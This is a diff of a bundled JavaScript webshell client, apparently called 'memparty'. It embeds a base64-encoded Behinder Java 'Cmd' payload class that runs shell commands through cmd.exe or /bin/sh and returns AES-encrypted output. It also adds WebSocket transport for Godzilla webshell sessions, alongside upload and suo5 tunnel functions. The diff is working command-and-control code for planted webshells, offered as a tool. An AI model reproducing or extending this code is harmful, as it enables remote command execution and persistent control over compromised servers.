IAdABuAHUAegB2AIYAeACsAHkAbQAAACAAAwBiACQAmQB5AAIAAACtAG4AbwAAAAAArQB3AGYAAQB6AAAADAABAGIAJACZAJoAAgB8AAAABgAC+wBdKACKAAAABAABABkAAgCbAJwAAgBrAAABdgAGAAcAAACTElBNEjK4ADM6BCq2AAtXElG4AFJOLRJTAbYADi0BtgAQOgUZBbYACxJUBL0ADVkDEhJTtgAOGQUEvQAPWQMrU7YAEMAAHk2nAEo6BSq2AAtXEla4AFJOLbYAVzoGGQa2AAsSWAS9AA1ZAxISU7YADhkGBL0AD1kDK1O2ABDAAB5NLBJZElC2AFoSWxJQtgBaTSywAAEACgBHAEoAVQADAGwAAAAyAAwAAAB8AAMAfgAKAIEAFQCCACMAgwBHAIsASgCFAEwAhwBXAIgAXQCJAIEAigCRAIwAbQAAAFwACQAjACQAnQBmAAUAFQA1AJ4AnwADAF0ANACdAGYABgBMAEUAoAChAAUAAACTAG4AbwAAAAAAkwCiAIAAAQADAJAAeABjAAIAVwA8AJ4AnwADAAoAiQCTAGMABAB8AAAALwAC/wBKAAUHAGEHABIHAB4ABwAeAAEHAFX/AEYABQcAYQcAEgcAHgcADQcAHgAAAIoAAAAEAAEAGQACAKMApAACAGsAAAD+AAYABgAAAGYqtAActgALEh0EvQANWQMSHlO2AA4qtAAcBL0AD1kDEh9TtgAQtgAgTCsDBbYAXBAQuABdEBBwPbsAXlm3AF9OHLwIOgQDNgUVBRkEvqIAFhkEFQUtEQEAtgBgkVSEBQGn/+gZBLAAAAADAGwAAAAiAAgAAACPACkAkAA4AJEAQACSAEUAkwBQAJUAXQCTAGMAlwBtAAAAPgAGAEgAGwClAKYABQAAAGYAbgBvAAAAKQA9AIEAYwABADgALgCnAKYAAgBAACYAqACpAAMARQAhAKoAgAAEAHwAAAAaAAL/AEgABgcAYQcAHgEHAF4HABIBAAD6ABoAigAAAAQAAQAZAAEAqwAAAAIArA==";
246
501
  var CMD_CLASS_B64 = "yv66vgAAADQBkQoAEADTBwDUCgACANMKAHkA1QgA1gkAeQDXCgB5ANgLAG4A2QgAfgkAeQDaCQB5ANsKABAA3AgA3QcA3goADgDfBwDgCgDhAOIIAI0HAKYKAHkA4wgA5AoAJwDlCgB5AOYIAOcIAOgHAOkKABoA6ggA6wgA7AoA7QDuCgCgAO8IAPAKACcA8QgA8goAJwDzCAD0CgAnAPUKAPYA9wcA+AgA+QgA+goA9gD7CAD8CAD9BwD+BwD/CgChAQAKAC4BAQoALQECCgAtAQMHAQQKADMA0woAMwEFCAEGCgAzAQcKAKEBCAkAeQEJCAEKCAELCgAQAQcIAQwHAQ0IAQ4KAD4BDwgBEAoAQwERBwESCgBDARMKAEMBFAcBFQoARgDTCgBGARYKAEYBFwoAeQEYCgAnARkIARoIARsKAA4BHAgBHQgBHgcBHwgBIAoADgEhCAC9CgAnASIIASMIASQLAG4BJQsBJgEnCwDBASgLAMEBKQgBKggBKwsAbgEsCgAnAQcIAS0KACcBLggBLwgBMAoAJwExCgAzAPEKADMBMggBMwoADgE0CAE1CAE2CQB5ATcIATgIATkHAToIATsIATwIAT0IAT4KACcBPwoBQAFBBwFCCgB1ANMKAHUBQwgBRAcBRQEAA2NtZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHBhdGgBAAh3aGF0ZXZlcgEABnN0YXR1cwEAB1JlcXVlc3QBABJMamF2YS9sYW5nL09iamVjdDsBAAhSZXNwb25zZQEAB1Nlc3Npb24BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAKExuZXQvcmViZXlvbmQvYmVoaW5kZXIvcGF5bG9hZC9qYXZhL0NtZDsBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAAJzbwEABXdyaXRlAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADb2JqAQAGcmVzdWx0AQAPTGphdmEvdXRpbC9NYXA7AQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEANUxqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOz47AQANU3RhY2tNYXBUYWJsZQEABlJ1bkNNRAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQABcAEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJicgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEABGRpc3IBAAlvc0NoYXJzZXQBABpMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OwcBRgcBRwEACkV4Y2VwdGlvbnMBAAdFbmNyeXB0AQAGKFtCKVtCAQACYnMBAAJbQgEAA2tleQEAA3JhdwEACHNrZXlTcGVjAQAhTGphdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWM7AQAGY2lwaGVyAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQAJZW5jcnlwdGVkAQADYm9zAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEADGJhc2U2NGVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdFbmNvZGVyAQAGQmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAVlcnJvcgEAFUxqYXZhL2xhbmcvVGhyb3dhYmxlOwEABGRhdGEBAAd2ZXJzaW9uAQAJYnVpbGRKc29uAQAkKExqYXZhL3V0aWwvTWFwO1opTGphdmEvbGFuZy9TdHJpbmc7AQAFdmFsdWUBAAZlbnRpdHkBAAZlbmNvZGUBAAFaAQACc2IBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7BwFIAQAJU2lnbmF0dXJlAQBKKExqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOz47WilMamF2YS9sYW5nL1N0cmluZzsBAAtmaWxsQ29udGV4dAEAFShMamF2YS9sYW5nL09iamVjdDspVgEABm9iak1hcAEANUxqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0Oz47AQAIZ2V0TWFnaWMBAAQoKVtCAQABaQEAAUkBAAhtYWdpY051bQEABnJhbmRvbQEAEkxqYXZhL3V0aWwvUmFuZG9tOwEAA2J1ZgEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEACENtZC5qYXZhDACDAIQBABFqYXZhL3V0aWwvSGFzaE1hcAwAxADFAQADbXNnDAB6AHsMAJcAmAwBSQFKDAB+AHsMAIEAgAwBSwFMAQAPZ2V0T3V0cHV0U3RyZWFtAQAPamF2YS9sYW5nL0NsYXNzDAFNAU4BABBqYXZhL2xhbmcvT2JqZWN0BwFPDAFQAVEMALkAugEABVVURi04DAFSAVMMAKMApAEABWZsdXNoAQAFY2xvc2UBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAFUAVUBAARmYWlsAQAQc3VuLmpudS5lbmNvZGluZwcBVgwBVwCYDAFYAVkBAAAMAVoBWwEAB29zLm5hbWUMAVwBVQEAB3dpbmRvd3MMAV0BXgcBXwwBYAFhAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwwBYgFjAQAHL2Jpbi9zaAEAAi1jAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIMAWQBZQwAgwFmDACDAWcMAWgBVQEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDAFpAWoBAAEKDAFrAVUMAWwBZQwAggCAAQAMZ2V0QXR0cmlidXRlAQABdQEABXV0Zi04AQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwEAA0FFUwwAgwFtAQAUQUVTL0VDQi9QS0NTNVBhZGRpbmcMAW4BbwEAE2phdmF4L2NyeXB0by9DaXBoZXIMAXABcQwBcgCkAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAI0BcwwBdADJDACwALEMAVIAyQEADGphdmEudmVyc2lvbgEAEGphdmEudXRpbC5CYXNlNjQMAVgBdQEACmdldEVuY29kZXIBAA5lbmNvZGVUb1N0cmluZwEAE2phdmEvbGFuZy9UaHJvd2FibGUBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAF2AXcMAXgBeQEAAQ0BAAF7DAF6AXsHAXwMAX0BfgwBfwGADAGBAXcBAAEiAQADIjoiDAGCAYMBAAMxLjkMAYQBXgEAAiIsAQABLAwBhQGGDAGHAYgBAAF9DAGJAVUBAAtQYWdlQ29udGV4dAEACmdldFJlcXVlc3QMAH8AgAEAC2dldFJlc3BvbnNlAQAKZ2V0U2Vzc2lvbgEADWphdmEvdXRpbC9NYXABAAdzZXNzaW9uAQAIcmVzcG9uc2UBAAdyZXF1ZXN0AQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcMAYoBiwcBjAwBjQGOAQAQamF2YS91dGlsL1JhbmRvbQwBjwGQAQAHc3VjY2VzcwEAJm5ldC9yZWJleW9uZC9iZWhpbmRlci9wYXlsb2FkL2phdmEvQ21kAQAYamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0AQARamF2YS9sYW5nL1Byb2Nlc3MBABJqYXZhL3V0aWwvSXRlcmF0b3IBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAhnZXRCeXRlcwEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAApnZXRNZXNzYWdlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAdmb3JOYW1lAQAuKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OwEABmxlbmd0aAEAAygpSQEAC3RvTG93ZXJDYXNlAQAHaW5kZXhPZgEAFShMamF2YS9sYW5nL1N0cmluZzspSQEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAMihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBAA5nZXRFcnJvclN0cmVhbQEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQALZ2V0SW5zdGFuY2UBACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEABGluaXQBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEAB2RvRmluYWwBAAUoW0IpVgEAC3RvQnl0ZUFycmF5AQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAdyZXBsYWNlAQBEKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlO0xqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylMamF2YS9sYW5nL1N0cmluZzsBAAZrZXlTZXQBABEoKUxqYXZhL3V0aWwvU2V0OwEADWphdmEvdXRpbC9TZXQBAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAJY29tcGFyZVRvAQAIZW5kc1dpdGgBABUoTGphdmEvbGFuZy9TdHJpbmc7KVoBAAlzZXRMZW5ndGgBAAQoSSlWAQAHZ2V0TmFtZQEACXN1YnN0cmluZwEAFihJSSlMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvSW50ZWdlcgEACHBhcnNlSW50AQAWKExqYXZhL2xhbmcvU3RyaW5nO0kpSQEAB25leHRJbnQBAAQoSSlJACEAeQAQAAAABwAJAHoAewAAAAkAfAB7AAAACQB9AHsAAAAKAH4AewAAAAIAfwCAAAAAAgCBAIAA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";
@@ -529,6 +784,20 @@ function postRaw(url, body, options = {}) {
529
784
  return new Promise((resolve2, reject) => {
530
785
  const started = Date.now();
531
786
  const transport = isHttps ? https : http;
787
+ const onResponse = (res) => {
788
+ const chunks = [];
789
+ res.on("data", (chunk) => chunks.push(chunk));
790
+ res.on(
791
+ "end",
792
+ () => resolve2({
793
+ status: res.statusCode ?? 0,
794
+ headers: res.headers,
795
+ body: Buffer.concat(chunks),
796
+ durationMs: Date.now() - started
797
+ })
798
+ );
799
+ res.on("error", (err) => reject(new HttpRequestError(err.message, url, err)));
800
+ };
532
801
  const req = transport.request(
533
802
  {
534
803
  method: "POST",
@@ -546,21 +815,9 @@ function postRaw(url, body, options = {}) {
546
815
  timeout: timeoutMs,
547
816
  ...isHttps && insecure ? { rejectUnauthorized: false } : {}
548
817
  },
549
- (res) => {
550
- const chunks = [];
551
- res.on("data", (chunk) => chunks.push(chunk));
552
- res.on(
553
- "end",
554
- () => resolve2({
555
- status: res.statusCode ?? 0,
556
- headers: res.headers,
557
- body: Buffer.concat(chunks),
558
- durationMs: Date.now() - started
559
- })
560
- );
561
- res.on("error", (err) => reject(new HttpRequestError(err.message, url, err)));
562
- }
818
+ onResponse
563
819
  );
820
+ req.on("upgrade", onResponse);
564
821
  req.on("timeout", () => req.destroy(new Error(`request timed out after ${timeoutMs} ms`)));
565
822
  req.on("error", (err) => reject(new HttpRequestError(err.message, url, err)));
566
823
  req.write(body);
@@ -986,6 +1243,57 @@ async function uploadBehinder(url, pass, remotePath, data, options = {}) {
986
1243
 
987
1244
  // src/connect/godzilla.ts
988
1245
  import iconv from "iconv-lite";
1246
+
1247
+ // src/connect/websocket.ts
1248
+ import WebSocket from "ws";
1249
+ function isWebSocketUrl(url) {
1250
+ return /^wss?:\/\//i.test(url);
1251
+ }
1252
+ function requestWebSocket(url, body, options = {}) {
1253
+ let target;
1254
+ try {
1255
+ target = new URL(url);
1256
+ } catch {
1257
+ return Promise.reject(new Error(`invalid WebSocket URL: ${url}`));
1258
+ }
1259
+ if (target.protocol !== "ws:" && target.protocol !== "wss:") {
1260
+ return Promise.reject(new Error(`unsupported WebSocket protocol: ${target.protocol}`));
1261
+ }
1262
+ const timeoutMs = options.timeoutMs ?? 3e4;
1263
+ return new Promise((resolve2, reject) => {
1264
+ const socket = new WebSocket(target, {
1265
+ headers: buildHeaders({}, options),
1266
+ handshakeTimeout: timeoutMs,
1267
+ rejectUnauthorized: !options.insecure,
1268
+ perMessageDeflate: false,
1269
+ maxPayload: 256 * 1024 * 1024
1270
+ });
1271
+ let timer;
1272
+ let settled = false;
1273
+ const finish = (error, result) => {
1274
+ if (settled) return;
1275
+ settled = true;
1276
+ if (timer) clearTimeout(timer);
1277
+ timer = void 0;
1278
+ socket.removeAllListeners();
1279
+ if (error) reject(error);
1280
+ else resolve2(result);
1281
+ socket.close();
1282
+ };
1283
+ timer = setTimeout(() => finish(new Error(`WebSocket request timed out after ${timeoutMs}ms`)), timeoutMs);
1284
+ socket.once("open", () => socket.send(body));
1285
+ socket.on("message", (data, isBinary) => {
1286
+ finish(isBinary ? void 0 : new Error("expected a binary Godzilla WebSocket response"), data);
1287
+ });
1288
+ socket.once("close", () => finish(new Error("WebSocket closed without a response")));
1289
+ socket.once("error", (error) => finish(error));
1290
+ socket.once("unexpected-response", (_request, response) => {
1291
+ finish(new Error(`WebSocket handshake failed: HTTP ${response.statusCode ?? 0}`));
1292
+ });
1293
+ });
1294
+ }
1295
+
1296
+ // src/connect/godzilla.ts
989
1297
  function serializeParams(params) {
990
1298
  const parts = [];
991
1299
  for (const [key, value] of params) {
@@ -1032,7 +1340,10 @@ async function openGodzillaSession(url, pass, key, options = {}) {
1032
1340
  const left = wrapper.slice(0, 16);
1033
1341
  const right = wrapper.slice(16);
1034
1342
  const baseHeaders = buildHeaders(
1035
- { "Content-Type": "application/x-www-form-urlencoded" },
1343
+ {
1344
+ "Content-Type": "application/x-www-form-urlencoded",
1345
+ ...options.upgradeProtocol ? { Connection: "Upgrade", Upgrade: options.upgradeProtocol } : {}
1346
+ },
1036
1347
  options
1037
1348
  );
1038
1349
  const post = (data, cookie2) => postRaw(url, encodeBody(pass, xc, data), {
@@ -1040,14 +1351,27 @@ async function openGodzillaSession(url, pass, key, options = {}) {
1040
1351
  timeoutMs: options.timeoutMs,
1041
1352
  insecure: options.insecure
1042
1353
  });
1043
- const initResponse = await post(GODZILLA_PAYLOAD_BYTES);
1044
- const cookies = extractCookies(initResponse.headers);
1045
- const cookie = cookies.length > 0 ? cookies.join("; ") : void 0;
1354
+ let cookie;
1355
+ if (isWebSocketUrl(url)) {
1356
+ await requestWebSocket(url, aesEcbEncrypt(GODZILLA_PAYLOAD_BYTES, xc), options);
1357
+ } else {
1358
+ const initResponse = await post(GODZILLA_PAYLOAD_BYTES);
1359
+ const cookies = extractCookies(initResponse.headers);
1360
+ cookie = cookies.length > 0 ? cookies.join("; ") : void 0;
1361
+ }
1046
1362
  return {
1047
1363
  async callMethod(methodName, extraParams = []) {
1048
1364
  const callData = gzip(
1049
1365
  serializeParams([["methodName", Buffer.from(methodName, "utf8")], ...extraParams])
1050
1366
  );
1367
+ if (isWebSocketUrl(url)) {
1368
+ const response = await requestWebSocket(url, aesEcbEncrypt(callData, xc), options);
1369
+ try {
1370
+ return gunzipLenient(aesEcbDecrypt(response, xc));
1371
+ } catch {
1372
+ throw new Error("WebSocket response failed to decrypt \u2014 wrong key or protocol?");
1373
+ }
1374
+ }
1051
1375
  const res = await post(callData, cookie);
1052
1376
  const text = res.body.toString("latin1");
1053
1377
  const leftIdx = text.indexOf(left);
@@ -1513,7 +1837,7 @@ async function testSuo5(url, options = {}) {
1513
1837
  import { randomInt as randomInt2 } from "crypto";
1514
1838
 
1515
1839
  // src/core/site-profile.ts
1516
- import { existsSync, mkdirSync, readdirSync, readFileSync as readFileSync2, writeFileSync } from "fs";
1840
+ import { existsSync, mkdirSync, readdirSync, readFileSync as readFileSync3, writeFileSync as writeFileSync2 } from "fs";
1517
1841
  import { homedir as homedir2 } from "os";
1518
1842
  import { join as join2 } from "path";
1519
1843
  function inferBodyTemplateContentType(bodyTemplate) {
@@ -1641,7 +1965,7 @@ function saveProfile(profile) {
1641
1965
  validateProfile(profile);
1642
1966
  const dir = profilesDir();
1643
1967
  mkdirSync(dir, { recursive: true });
1644
- writeFileSync(profilePath(profile.name), `${JSON.stringify(profile, null, 2)}
1968
+ writeFileSync2(profilePath(profile.name), `${JSON.stringify(profile, null, 2)}
1645
1969
  `, "utf8");
1646
1970
  }
1647
1971
  function loadProfile(name) {
@@ -1651,7 +1975,7 @@ function loadProfile(name) {
1651
1975
  `unknown profile ${JSON.stringify(name)} \u2014 scaffold one with 'memparty profile init ${name} --site <origin>' and fill in the template/paths by hand (stored: ${listProfiles().join(", ") || "(none)"})`
1652
1976
  );
1653
1977
  }
1654
- const profile = JSON.parse(readFileSync2(path, "utf8"));
1978
+ const profile = JSON.parse(readFileSync3(path, "utf8"));
1655
1979
  validateProfile(profile);
1656
1980
  return profile;
1657
1981
  }
@@ -2147,7 +2471,7 @@ registerProtocol(suo5Protocol);
2147
2471
  registerProtocol(mimicProtocol);
2148
2472
 
2149
2473
  // src/core/oplog.ts
2150
- import { appendFileSync, existsSync as existsSync2, mkdirSync as mkdirSync2, readFileSync as readFileSync3 } from "fs";
2474
+ import { appendFileSync, existsSync as existsSync2, mkdirSync as mkdirSync2, readFileSync as readFileSync4 } from "fs";
2151
2475
  import { homedir as homedir3 } from "os";
2152
2476
  import { dirname, join as join3 } from "path";
2153
2477
  var OUTPUT_LIMIT = 2e3;
@@ -2168,7 +2492,7 @@ function readOps(filter = {}) {
2168
2492
  try {
2169
2493
  const file = opLogPath();
2170
2494
  if (existsSync2(file)) {
2171
- for (const line of readFileSync3(file, "utf8").split("\n")) {
2495
+ for (const line of readFileSync4(file, "utf8").split("\n")) {
2172
2496
  const trimmed = line.trim();
2173
2497
  if (!trimmed) continue;
2174
2498
  try {
@@ -2213,7 +2537,7 @@ function formatOp(e) {
2213
2537
  }
2214
2538
